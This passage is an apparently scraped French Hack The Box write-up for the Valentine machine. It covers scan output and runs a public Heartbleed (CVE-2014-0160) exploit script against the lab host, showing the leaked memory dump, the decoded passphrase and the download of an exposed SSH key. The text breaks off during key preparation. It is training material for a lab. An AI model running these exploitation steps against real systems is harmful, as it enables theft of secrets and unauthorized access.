\u0026lt;module\u0026gt; ","date":"2026-01-06T16:07:37+01:00","lastmod":"2026-01-15T16:55:36+01:00","permalink":"https://writeups.hackethical.be/recettes/installation-modules-python3-kali/","summary":"Objectif Installer rapidement un module Python3 dans Kali Linux sans mettre en place d’environnement virtuel, en acceptant explicitement la modification de l’environnement Python système. La méthode est rapide et efficace. Elle est parfaitement adaptée à un usage CTF, lab, scripts personnels ou machine jetable. Principe de --break-system-packages Depuis Debian 12 (et donc Kali Linux), Python est volontairement verrouillé pour empêcher pip de modifier l’environnement système.\nSans option particulière, la commande suivante échoue :\n","tags":["recettes","tools","python3","pip3"],"title":"Installer des modules Python3 dans Kali Linux (pip3 et --break-system-packages)"},{"categories":["Mes writeups"],"content":" Introduction Avec cette machine, tu suis une progression simple mais instructive, centrée sur l’exploitation de la fameuse vulnérabilité Heartbleed (CVE-2014-0160), découverte un jour de Saint-Valentin et mise en avant dès la phase d’énumération. Classée Easy, elle est idéale si tu débutes sur Hack The Box ou si tu veux consolider les fondamentaux : reconnaissance, exploitation, analyse de contenu et élévation de privilèges, avec une chaîne d’attaque courte et logique. Ton objectif est d’extraire des informations sensibles à partir d’un service TLS vulnérable, puis de convertir ces données en un accès utilisateur fonctionnel. Dans la seconde partie, tu exploites une configuration tmux mal sécurisée permettant d’obtenir un shell root de manière directe et efficace. Concrètement, tu vas exploiter un service TLS vulnérable (OpenSSL/Heartbleed) pour récupérer un secret, l’utiliser pour déverrouiller une clé SSH, puis terminer avec une escalade via un socket tmux exposé. Énumération Dans un challenge CTF Hack The Box, tu commences toujours par une phase d’énumération complète. C’est une étape incontournable : elle te permet d’identifier précisément ce que la machine expose afin de repérer les points d’entrée exploitables. Concrètement, l’objectif de cette phase d’énumération est d’identifier : quels ports sont ouverts quels services sont accessibles si une application web est présente quels répertoires sont exposés si des sous-domaines ou vhosts peuvent être exploités Pour réaliser cette énumération de manière structurée et reproductible, tu peux utiliser les trois scripts suivants : mon-nmap : identifie les ports ouverts et les services en écoute mon-recoweb : énumère les répertoires et fichiers accessibles via le service web mon-subdomains : détecte la présence éventuelle de sous-domaines et de vhosts Tu retrouves ces outils dans la section Outils / Mes scripts. Pour obtenir des résultats pertinents dans un contexte CTF Hack The Box, tu utilises une wordlist dédiée, installée au préalable grâce au script make-htb-wordlist. Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box et est installée par défaut dans : /usr/share/wordlists/htb-dns-vh-5000.txt Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box. Avant de lancer les scans, vérifie que le nom d’hôte valentine.htb résout correctement vers l’adresse IP de la cible. Sur HTB, cela passe généralement par une entrée dans /etc/hosts. Ajoute l’entrée 10.129.x.x valentine.htb dans /etc/hosts. sudo nano /etc/hosts Lance ensuite le script mon-nmap pour obtenir une vue claire des ports et services exposés : mon-nmap valentine.htb # Résultats dans le répertoire scans_nmap/ # - scans_nmap/full_tcp_scan.txt # - scans_nmap/enum_ftp_smb_scan.txt # - scans_nmap/aggressive_vuln_scan.txt # - scans_nmap/cms_vuln_scan.txt # - scans_nmap/udp_vuln_scan.txt Scan initial Le scan initial TCP complet (scans_nmap/full_tcp_scan.txt) te montre les ports ouverts suivants : Note : les IP et timestamps peuvent varier selon les resets HTB ; l’important ici est la surface exposée (SSH + HTTP + HTTPS). # Nmap 7.95 scan initiated Mon Nov 24 15:53:27 2025 as: /usr/lib/nmap/nmap --privileged -Pn -p- --min-rate 5000 -T4 -oN scans_nmap/full_tcp_scan.txt valentine.htb Nmap scan report for valentine.htb (10.129.x.x) Host is up (0.0082s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https # Nmap done at Mon Nov 24 15:53:37 2025 -- 1 IP address (1 host up) scanned in 10.03 seconds Scan agressif Le script enchaîne ensuite automatiquement sur un scan agressif orienté vulnérabilités, ce qui te permet de repérer rapidement les services à examiner en priorité. Voici le résultat (scans_nmap/aggressive_vuln_scan.txt) : [+] Scan agressif orienté vulnérabilités (CTF-perfect LEGACY) pour valentine.htb [+] Commande utilisée : nmap -Pn -A -sV -p\u0026#34;22,80,443\u0026#34; --script=\u0026#34;http-vuln-*,http-shellshock,http-sql-injection,ssl-cert,ssl-heartbleed,sslv2,ssl-dh-params\u0026#34; --script-timeout=30s -T4 \u0026#34;valentine.htb\u0026#34; # Nmap 7.95 scan initiated Mon Nov 24 15:53:37 2025 as: /usr/lib/nmap/nmap --privileged -Pn -A -sV -p22,80,443 --script=http-vuln-*,http-shellshock,http-sql-injection,ssl-cert,ssl-heartbleed,sslv2,ssl-dh-params --script-timeout=30s -T4 -oN scans_nmap/aggressive_vuln_scan.txt valentine.htb Nmap scan report for valentine.htb (10.129.x.x) Host is up (0.0092s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) |_http-server-header: Apache/2.2.22 (Ubuntu) 443/tcp open ssl/http Apache httpd 2.2.22 |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) | ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US | Issuer: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha1WithRSAEncryption | Not valid before: 2018-02-06T00:45:25 | Not valid after: 2019-02-06T00:45:25 | MD5: a413:c4f0:b145:2154:fb54:b2de:c7a9:809d |_SHA-1: 2303:80da:60e7:bde7:2ba6:76dd:5214:3c3c:6f53:01b1 | ssl-heartbleed: | VULNERABLE: | The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption. | State: VULNERABLE | Risk factor: High | OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves. | | References: | http://www.openssl.org/news/secadv_20140407.txt | http://cvedetails.com/cve/2014-0160/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160 |_http-server-header: Apache/2.2.22 (Ubuntu) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 2.6.X|3.X OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13 Network Distance: 2 hops Service Info: Host: 10.10.x.x; OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 10.95 ms 10.10.x.x 2 11.00 ms valentine.htb (10.129.x.x) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Nov 24 15:53:53 2025 -- 1 IP address (1 host up) scanned in 16.19 seconds Scan ciblé CMS Voici le scan ciblé CMS (scans_nmap/cms_vuln_scan.txt) . # Nmap 7.95 scan initiated Mon Nov 24 15:53:53 2025 as: /usr/lib/nmap/nmap --privileged -Pn -sV -p22,80,443 --script=http-wordpress-enum,http-wordpress-brute,http-wordpress-users,http-drupal-enum,http-drupal-enum-users,http-joomla-brute,http-generator,http-robots.txt,http-title,http-headers,http-methods,http-enum,http-devframework,http-cakephp-version,http-php-version,http-config-backup,http-backup-finder,http-sitemap-generator --script-timeout=30s -T4 -oN scans_nmap/cms_vuln_scan.txt valentine.htb Nmap scan report for valentine.htb (10.129.x.x) Host is up (0.0087s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-server-header: Apache/2.2.22 (Ubuntu) | http-headers: | Date: Mon, 24 Nov 2025 14:53:17 GMT | Server: Apache/2.2.22 (Ubuntu) | X-Powered-By: PHP/5.3.10-1ubuntu3.26 | Vary: Accept-Encoding | Connection: close | Content-Type: text/html | |_ (Request type: HEAD) |_http-title: Site doesn\u0026#39;t have a title (text/html). | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS | http-php-version: Versions from logo query (less accurate): 5.3.0 - 5.3.29, 5.4.0 - 5.4.45 | Versions from credits query (more accurate): 5.3.9 - 5.3.29 |_Version from header x-powered-by: PHP/5.3.10-1ubuntu3.26 |_http-devframework: Couldn\u0026#39;t determine the underlying framework or CMS. Try increasing \u0026#39;httpspider.maxpagecount\u0026#39; value to spider more pages. | http-sitemap-generator: | Directory structure: | / | Other: 1; jpg: 1 | Longest directory structure: | Depth: 0 | Dir: / | Total files found (by extension): |_ Other: 1; jpg: 1 | http-enum: | /dev/: Potentially interesting directory w/ listing on \u0026#39;apache/2.2.22 (ubuntu)\u0026#39; |_ /index/: Potentially interesting folder 443/tcp open ssl/http Apache httpd 2.2.22 |_http-server-header: Apache/2.2.22 (Ubuntu) | http-php-version: Versions from logo query (less accurate): 5.3.0 - 5.3.29, 5.4.0 - 5.4.45 | Versions from credits query (more accurate): 5.3.9 - 5.3.29 |_Version from header x-powered-by: PHP/5.3.10-1ubuntu3.26 |_http-devframework: Couldn\u0026#39;t determine the underlying framework or CMS. Try increasing \u0026#39;httpspider.maxpagecount\u0026#39; value to spider more pages. |_http-title: Site doesn\u0026#39;t have a title (text/html). | http-headers: | Date: Mon, 24 Nov 2025 14:53:17 GMT | Server: Apache/2.2.22 (Ubuntu) | X-Powered-By: PHP/5.3.10-1ubuntu3.26 | Vary: Accept-Encoding | Connection: close | Content-Type: text/html | |_ (Request type: HEAD) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS | http-sitemap-generator: | Directory structure: | / | Other: 1; jpg: 1 | Longest directory structure: | Depth: 0 | Dir: / | Total files found (by extension): |_ Other: 1; jpg: 1 | http-enum: | /dev/: Potentially interesting directory w/ listing on \u0026#39;apache/2.2.22 (ubuntu)\u0026#39; |_ /index/: Potentially interesting folder Service Info: Host: 10.10.x.x; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Nov 24 15:54:21 2025 -- 1 IP address (1 host up) scanned in 28.05 seconds Scan UDP rapide Voici le scan UDP rapide (scans_nmap/udp_vuln_scan.txt). # Nmap 7.95 scan initiated Mon Nov 24 15:54:21 2025 as: /usr/lib/nmap/nmap --privileged -n -Pn -sU --top-ports 20 -T4 -oN scans_nmap/udp_vuln_scan.txt valentine.htb Warning: 10.129.x.x giving up on port because retransmission cap hit (6). Nmap scan report for valentine.htb (10.129.x.x) Host is up (0.010s latency). PORT STATE SERVICE 53/udp closed domain 67/udp closed dhcps 68/udp open|filtered dhcpc 69/udp closed tftp 123/udp closed ntp 135/udp closed msrpc 137/udp closed netbios-ns 138/udp closed netbios-dgm 139/udp open|filtered netbios-ssn 161/udp closed snmp 162/udp closed snmptrap 445/udp closed microsoft-ds 500/udp closed isakmp 514/udp closed syslog 520/udp open|filtered route 631/udp open|filtered ipp 1434/udp closed ms-sql-m 1900/udp closed upnp 4500/udp closed nat-t-ike 49152/udp open|filtered unknown # Nmap done at Mon Nov 24 15:54:34 2025 -- 1 IP address (1 host up) scanned in 13.25 seconds Énumération des chemins web Pour la partie découverte de chemins web, utilise le script dédié mon-recoweb mon-recoweb valentine.htb # Résultats dans le répertoire scans_recoweb/ # - scans_recoweb/RESULTS_SUMMARY.txt ← vue d’ensemble des découvertes # - scans_recoweb/dirb.log # - scans_recoweb/dirb_hits.txt # - scans_recoweb/ffuf_dirs.txt # - scans_recoweb/ffuf_dirs_hits.txt # - scans_recoweb/ffuf_files.txt # - scans_recoweb/ffuf_files_hits.txt # - scans_recoweb/ffuf_dirs.json # - scans_recoweb/ffuf_files.json Le fichier RESULTS_SUMMARY.txt te permet d’identifier rapidement les chemins intéressants sans parcourir tous les logs. Voici le résultat repris dans le fichier scans_recoweb/RESULTS_SUMMARY.txt ===== mon-recoweb — RÉSUMÉ DES RÉSULTATS ===== Commande principale : /home/kali/.local/bin/mes-scripts/mon-recoweb Script : mon-recoweb v2.1.0 Cible : valentine.htb Périmètre : / Date début : 2026-01-10 16:44:33 Commandes exécutées (exactes) : [dirb — découverte initiale] dirb http://valentine.htb/ /usr/share/wordlists/dirb/common.txt -r | tee scans_recoweb/dirb.log [ffuf — énumération des répertoires] ffuf -u http://valentine.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/ffuf_dirs.json 2\u0026gt;\u0026amp;1 | tee scans_recoweb/ffuf_dirs.log [ffuf — énumération des fichiers] ffuf -u http://valentine.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/ffuf_files.json 2\u0026gt;\u0026amp;1 | tee scans_recoweb/ffuf_files.log Processus de génération des résultats : - Les sorties JSON produites par ffuf constituent la source de vérité. - Les entrées pertinentes sont extraites via jq (URL, code HTTP, taille de réponse). - Les réponses assimilables à des soft-404 sont filtrées par comparaison des tailles et des codes HTTP. - Les URLs finales sont reconstruites à partir du périmètre scanné (racine du site ou sous-répertoire ciblé). - Les résultats sont normalisés sous la forme : http://cible/chemin (CODE:xxx|SIZE:yyy) - Les chemins sont ensuite classés par type : • répertoires (/chemin/) • fichiers (/chemin.ext) - Le fichier RESULTS_SUMMARY.txt est généré par agrégation finale, sans retraitement manuel, garantissant la reproductibilité complète du scan. ---------------------------------------------------- === Résultat global (agrégé) === http://valentine.htb/cgi-bin/ (CODE:403|SIZE:289) http://valentine.htb/. (CODE:200|SIZE:38) http://valentine.htb/decode (CODE:200|SIZE:552) http://valentine.htb/dev/ http://valentine.htb/dev/ (CODE:301|SIZE:312) http://valentine.htb/encode (CODE:200|SIZE:554) http://valentine.htb/encode/ (CODE:200|SIZE:554) http://valentine.htb/.htaccess.bak (CODE:403|SIZE:294) http://valentine.htb/.htaccess (CODE:403|SIZE:290) http://valentine.htb/.htc (CODE:403|SIZE:285) http://valentine.htb/.ht (CODE:403|SIZE:284) http://valentine.htb/.htgroup (CODE:403|SIZE:289) http://valentine.htb/.htm (CODE:403|SIZE:285) http://valentine.htb/.html (CODE:403|SIZE:286) http://valentine.htb/.htpasswd (CODE:403|SIZE:290) http://valentine.htb/.htpasswds (CODE:403|SIZE:291) http://valentine.htb/.htuser (CODE:403|SIZE:288) http://valentine.htb/index (CODE:200|SIZE:38) http://valentine.htb/index/ (CODE:200|SIZE:38) http://valentine.htb/index.php (CODE:200|SIZE:38) http://valentine.htb/server-status (CODE:403|SIZE:294) http://valentine.htb/server-status/ (CODE:403|SIZE:294) === Détails par outil === [DIRB] http://valentine.htb/cgi-bin/ (CODE:403|SIZE:289) http://valentine.htb/decode (CODE:200|SIZE:552) http://valentine.htb/dev/ http://valentine.htb/encode (CODE:200|SIZE:554) http://valentine.htb/index (CODE:200|SIZE:38) http://valentine.htb/index.php (CODE:200|SIZE:38) http://valentine.htb/server-status (CODE:403|SIZE:294) [FFUF — DIRECTORIES] http://valentine.htb/dev/ (CODE:301|SIZE:312) http://valentine.htb/encode/ (CODE:200|SIZE:554) http://valentine.htb/index/ (CODE:200|SIZE:38) http://valentine.htb/server-status/ (CODE:403|SIZE:294) [FFUF — FILES] http://valentine.htb/. (CODE:200|SIZE:38) http://valentine.htb/.htaccess.bak (CODE:403|SIZE:294) http://valentine.htb/.htaccess (CODE:403|SIZE:290) http://valentine.htb/.htc (CODE:403|SIZE:285) http://valentine.htb/.ht (CODE:403|SIZE:284) http://valentine.htb/.htgroup (CODE:403|SIZE:289) http://valentine.htb/.htm (CODE:403|SIZE:285) http://valentine.htb/.html (CODE:403|SIZE:286) http://valentine.htb/.htpasswd (CODE:403|SIZE:290) http://valentine.htb/.htpasswds (CODE:403|SIZE:291) http://valentine.htb/.htuser (CODE:403|SIZE:288) http://valentine.htb/index.php (CODE:200|SIZE:38) Recherche de vhosts Enfin, teste rapidement la présence de vhosts avec le script mon-subdomains mon-subdomains valentine.htb # Résultats dans le répertoire scans_subdomains/ # - scans_subdomains/scan_vhosts.txt Si aucun vhost distinct n’est détecté, ce fichier te permet malgré tout de confirmer que le fuzzing n’a rien révélé d’exploitable. === mon-subdomains valentine.htb START === Script : mon-subdomains Version : mon-subdomains 2.0.0 Date : 2026-01-08 16:59:30 Domaine : valentine.htb IP : 10.129.x.x Mode : large Master : /usr/share/wordlists/htb-dns-vh-5000.txt Codes : 200,301,302,401,403 (strict=1) VHOST totaux : 0 - (aucun) --- Détails par port --- Port 80 (http) Baseline#1: code=200 size=38 words=2 (Host=roz5cppay9.valentine.htb) Baseline#2: code=200 size=38 words=2 (Host=ayhkark7gp.valentine.htb) Baseline#3: code=200 size=38 words=2 (Host=6r2lqcda9u.valentine.htb) VHOST (0) - (fuzzing sauté : wildcard probable) - (explication : réponse identique quel que soit Host → vhost-fuzzing non discriminant) Port 443 (https) Baseline#1: code=200 size=38 words=2 (Host=4nnwzooemd.valentine.htb) Baseline#2: code=200 size=38 words=2 (Host=toeoxtti22.valentine.htb) Baseline#3: code=200 size=38 words=2 (Host=42bn9g7snc.valentine.htb) VHOST (0) - (fuzzing sauté : wildcard probable) - (explication : réponse identique quel que soit Host → vhost-fuzzing non discriminant) === mon-subdomains valentine.htb END === Prise pied Analyse de l’image Quand tu arrives sur le site, tu tombes sur une page extrêmement minimaliste : une unique image, sans lien ni fonctionnalité apparente. Avec une surface d’attaque aussi réduite, tu peux logiquement te demander si cette image ne cache pas une information utile pour la suite. Commence par la télécharger et l\u0026rsquo;analyser à l\u0026rsquo;aide des outils et méthodes décrits dans la recette « Outils de stéganographie (CTF) » , afin de vérifier si elle ne renferme pas un fichier embarqué, des métadonnées révélatrices ou un indice spécifique. Après une vérification rapide (dont stegseek), rien de concluant. Tu peux donc considérer que l’image sert surtout de décor et revenir à la piste la plus solide de l’énumération : Heartbleed sur 443. Exploitation de Heartbleed Lors du scan agressif, tu vois immédiatement que Nmap met en évidence une vulnérabilité critique : Heartbleed (littéralement “cœur qui saigne”) – CVE-2014-0160 sur le service TLS. Le nom de la machine — Valentine — et l\u0026rsquo;image d\u0026rsquo;un cœur brisé affichée sur la page web orientent immédiatement vers cette faille célèbre, découverte le jour de la Saint-Valentin. Heartbleed touche l\u0026rsquo;extension TLS Heartbeat et permet à un attaquant de lire arbitrairement des fragments de mémoire du serveur. Tous ces indices convergent : tu peux donc traiter Heartbleed comme le point d’entrée logique pour obtenir la prise pied. heartbleed.py Tu peux télécharger heartbleed.py depuis le dépôt GitHub de injcristianrojas et suivre ses instructions. Le script est ancien et a été écrit pour Python 2. C’est donc avec python2 que tu le lances, afin d’éviter les problèmes de compatibilité ou les erreurs de syntaxe. Commande de lancement et affichage de l’aide : python2 heartbleed.py defribulator v1.16 A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160) Usage: heartbleed.py server [options] Test and exploit TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160) Options: -h, --help show this help message and exit -p PORT, --port=PORT TCP port to test (default: 443) -n NUM, --num=NUM Number of times to connect/loop (default: 1) -s, --starttls Issue STARTTLS command for SMTP/POP/IMAP/FTP/etc... -f FILEIN, --filein=FILEIN Specify input file, line delimited, IPs or hostnames or IP:port or hostname:port -v, --verbose Enable verbose output -x, --hexdump Enable hex output -r RAWOUTFILE, --rawoutfile=RAWOUTFILE Dump the raw memory contents to a file -a ASCIIOUTFILE, --asciioutfile=ASCIIOUTFILE Dump the ascii contents to a file -d, --donotdisplay Do not display returned data on screen -e, --extractkey Attempt to extract RSA Private Key, will exit when found. Choosing this enables -d, do not display returned data on screen. Tu lances ensuite l’exploit contre la cible valentine.htb, en effectuant plusieurs itérations afin d’augmenter les chances de fuite mémoire : python2 heartbleed.py valentine.htb -n 5 defribulator v1.16 A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160) ################################################################## Connecting to: valentine.htb:443, 5 times Sending Client Hello for TLSv1.0 Received Server Hello for TLSv1.0 WARNING: valentine.htb:443 returned more data than it should - server is vulnerable! Please wait... connection attempt 5 of 5 ################################################################## .@....SC[...r....+..H...9... ....w.3....f... ...!.9.8.........5............... .........3.2.....E.D...../...A.................................I......... ........... ...................................#.......0.0.1/decode.php Content-Type: application/x-www-form-urlencoded Content-Length: 42 $text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==....m...E..u}..a}o.K....................-.....3...........B...5D.y,+..Y...d:..k.TlWH.F......+rt.....[\u0026#34;k....!.\u0026gt;..N.y..$..hPv~b.....b.\u0026#39;+,M.e .d.. ]}....(... *...3..aF......:DM.h..\u0026lt;..n..N..CM.P=..?.I.$nB...,;b.L....$...?.K/c....3w{.A.\\.q;...Jw...,..C..\u0026#34;[|^....l\\m..Q..Q....+..I...(.J.....g)....\u0026#34;......?).%.....k.[............nt\u0026#34;_$5M\u0026amp;...RS.Q\\..ENK...1.Uc..4$w......|`...4..pI........:..\\.....M....$?........%$.......I.\u0026#34;n.R..f.......... V....Bj...Z..J....y\u0026amp;.1..~Q..............H....9[...s.[....x{y...[A..*.N.r:.lRL....l..L.4fK....{]!....I......8..xV..S[)..S3D.j5..wH..XD...d.L...I...e...\\...J.z........D.4..9.2w..\u0026lt;0~.^..............L.).7....B....U....Y+7{I\u0026gt;\u0026#39;..9h..D1.....O....5(..G..T}.M[.9.;....75...a.........F.k.w\u0026amp;....I{.........3!.eb..:..D.[9.L...y#..D!......S6.E.^.\u0026amp;...f.\\.@.O.\u0026amp;..cl....=P...vy.,[d....b........20.....J$......./....w2R.V.m[.@.zA..%*.j.lD}....|wQ/.$.y._)b7..._._.9....oEn..}%.b.q.h@..L...W.S.v.H..p...cjR.LHx. .H......nuQ]NX....`8......C..s..;..ORt2....W:.....i.Wc..J;....!........E}...qP..;[g...Me.....:6....A.T..M...U.V.:7.i....4E..Yg....v4 .c.....`.5y......./,... ........r9.X.A..[.$x\u0026lt;..........Oq.@....SC[...r....+..H...9... ....w.3....f... ...!.9.8.........5............... .........3.2.....E.D...../...A.................................I......... ........... ...................................#.......0.0.1/decode.php Content-Type: application/x-www-form-urlencoded Content-Length: 42 $text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==Q!.w..-..yX.....p................+............-.....3........_...1..!..ir..AcXRvxe.E\u0026#34;.\u0026amp;gRRT.R....t.~Br9....buY.uzQS.*...UjP+.C..c...Q7.Q.d....ghL.U}]e|..k.Y./.v..E..I....0.Btj..x../...:...S....^iyf./9R...V.......JH+3?aR....8..R#J,.6.T.n.B\\..,..-I...P...SH 3.oE`j.\u0026amp;BI..o.E..G.Z.|GX..Y..).D.....1.....1..0.P..\\.MX6.3a.d......;...(c._.f.j.u.L..k\u0026lt;.HA..........*{.a%N.dwC..H7...-|9...Hf.KL.J.!9(....4X..\u0026#34;..#..h....+..d.o.h.....`.E.*%.\u0026gt;.!.6.t0c.t.c...a.DT......m.f.!L..p..H...$..l.0.....9.Rj.N...A.^..$..7.Zz_1..g.....;s.;y95...Sd..ft..*... ..5......B..P. iB.$...8.....\u0026#34;.!Ru.7JO.\u0026lt;....h.32:....)....v{....0..3.F9.....i. r..d.$...)...9.p.i..Vi.....XB^.7..v........:1P. V.f.z\u0026#34;..V$.?.)..34fz=.Z......6..UoBa......].mJ.n$....N .E...oe.....Q;.#...[\u0026#34;....:Nc....-...;.....a.?5..wr....I...?3..A.... \u0026#34;....T.\u0026#34;J....1..kN.....\u0026#34;F.J..CC|..P{U....\\..A..o....W=~.P.F.......D...b.Z..\u0026#39;v.J...4.nA.``ul...Q...Vc.M...mv...G..\u0026#34;.3....r..`OG.@....G...,.G`..{...A.O.=..Y.tWHR.],.9\u0026#39;.4.}.....h.*..dO,...2v......j...ly.GY.8...\u0026#34;).....[Y.~..\u0026lt;K.\u0026#34;kp..V!\\....m.....? ....iN,E~.\u0026gt;^...4.u9.,\u0026lt;m...\u0026#39;..t.65.N^z...=.5.\u0026lt;=... ..\u0026lt;..|.....p.yM 6r.....tD.....O_q.@....SC[...r....+..H...9... ....w.3....f... ...!.9.8.........5............... .........3.2.....E.D...../...A.................................I......... ........... ...................................#.......0.0.1/decode.php Content-Type: application/x-www-form-urlencoded Content-Length: 42 q.@....SC[...r....+..H...9...0aGVoeXBlCg==..S.w...7.....?v ....w.3....f... ...!.9.8.........5............... .........3.2.....E.D...../...A.................................I......... ........... ...................................#.......0.0.1/decode.php Content-Type: application/x-www-form-urlencoded Content-Length: 42 $text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==......7..U.T.%.`t.L.@....SC[...r....+..H...9... ....w.3....f... ...!.9.8.........5............... .........3.2.....E.D...../...A.................................I......... ........... ...................................#.......0.0.1/decode.php Content-Type: application/x-www-form-urlencoded Content-Length: 42 $text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==..y.....*....!.!.I.#.............+............-.....3........=..5@t.:.........a...`e@v.!..n....r....te.-1.S\\.8.\u0026gt;si/2..tXKo..\\...2 .x\u0026#34;...k..Y...\u0026#39;7...\u0026amp;...c......(.s.p......0YV`IM...wjZ....ukJp((W@.*|F[9pKF...;.e[\u0026lt;VQ...|...CV*..e..?)..Xu..Q/;....\u0026amp;......1Xn....../.\\u.X.;\\..b.\u0026amp;5\u0026#34;4...f=....EU....#f.....8......c...?.z]..R..CC.\u0026#39;u.|...bi... ......%Oz.mXw.k.D.....c..)H.4.U.....b.U...q[81WD!M.{..E..s...=d...4,..mOA..f...S.bA....z...l..OMyo..D..8...{4.:.B.(.....;.x.....M..$G0..M.....OM.K.8#.....XJ.........k%..BY...03=......cm..c..`+..5.}Y.F...GWS.ji...$\\)o.\u0026gt;.\u0026#39;...~.S^..+...].....)......9.P........d.{..\u0026gt;.\u0026amp;1..3G...a....An\u0026#39;..@Z+O.Q.\u0026#34;0..J.P....=.r...0cV..+.$..V...sH.[.`t.:|Nz(.6...y.I.55IZt..ZL..IS..f.\u0026#34;...Mt..`.{... ...N..u.t:....).........KA..p.n.p*.f..h..c4....\u0026#39;Y }..aj... ...,.**...c0f..*....t.G.......8LJ.Pe...............m.DMJ.....Y..z.F...h.....7..!....r..\\...;k.3n....e .AR..!.....T=x.|P.$\u0026#34;.^w..J(. 6.Q]../.u.(7.....F.P.R.,.M.J...m. ..N.)/J..m.SSp8S.5...t.....$.+].v..!.8\u0026gt;.t...._Iuq.Zf..ebd?Y..r.....k.E....$.W.1.buJ..y..Ej.........V%.. ...\u0026gt;..yP...z5...N..0w.......x ....{....a....;...{[....[a...Q.g..\u0026gt;Zie........ ]+...9..j \u0026amp;.{.|q/.\u0026lt; Exploitation La sortie te confirme clairement que le serveur est vulnérable à Heartbleed (CVE-2014-0160) : WARNING: valentine.htb:443 returned more data than it should - server is vulnerable! Au milieu des données mémoire retournées, tu retrouves à plusieurs reprises le même fragment HTTP avec une valeur particulièrement intéressante : $text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== Comme cette valeur revient plusieurs fois dans les fuites mémoire, tu peux la considérer comme un vrai signal utile plutôt que comme du bruit aléatoire. Ça ressemble clairement à une chaîne encodée en Base64. Décodage de la valeur : echo \u0026#34;aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==\u0026#34; | base64 --decode | tr -d \u0026#39;\\n\u0026#39; Résultat : heartbleedbelievethehype La chaîne décodée heartbleedbelievethehype ressemble fortement à un mot de passe ou à une passphrase, ce qui en fait un excellent candidat à tester dans la suite de l’exploitation. Exploration des répertoires exposés Lors de la phase d’énumération, tu as identifié plusieurs chemins web accessibles sur le serveur. Même si cette étape semble peu prometteuse, tu as intérêt à examiner ces chemins manuellement : des fichiers sensibles sont parfois laissés accessibles par négligence. Parmi les répertoires mis en évidence, /dev retient rapidement ton attention. Il ne s’agit pas ici du répertoire système Linux classique, mais bien d’un dossier exposé via le serveur web. L’index de ce répertoire révèle alors la présence de deux fichiers intéressants : hype_key notes.txt Ces deux fichiers deviennent immédiatement des pistes sérieuses pour la suite, donc tu les récupères et tu les analyses. Récupération et analyse des fichiers du répertoire /dev Tu commences par récupérer localement les deux fichiers exposés dans le répertoire /dev à l’aide de curl. Téléchargement de notes.txt : curl -o notes.txt http://valentine.htb/dev/notes.txt % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 227 100 227 0 0 10972 0 --:--:-- --:--:-- --:--:-- 10809 Téléchargement de hype_key : curl -o hype_key http://valentine.htb/dev/hype_key % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 5383 100 5383 0 0 275k 0 --:--:-- --:--:-- --:--:-- 276k Analyse de notes.txt Le fichier notes.txt contient uniquement une liste de tâches internes : To do: 1) Coffee. 2) Research. 3) Fix decoder/encoder before going live. 4) Make sure encoding/decoding is only done client-side. 5) Don\u0026#39;t use the decoder/encoder until any of this is done. 6) Find a better way to take notes. Tu n’y trouves aucun élément directement exploitable. En revanche, ces notes te confirment qu’un mécanisme d’encodage/décodage a bien été mis en place de manière maladroite, ce qui renforce la cohérence des données récupérées précédemment via Heartbleed. Décodage de hype_key Le fichier hype_key, lui, devient tout de suite beaucoup plus intéressant. Son contenu est encodé en hexadécimal. Tu procèdes au décodage hex → brut à l’aide de CyberChef, ce qui permet d’obtenir une clé privée SSH exploitable, que tu sauvegardes sous le nom hype_key_decoded. Préparation de la clé SSH Après avoir copié le contenu décodé 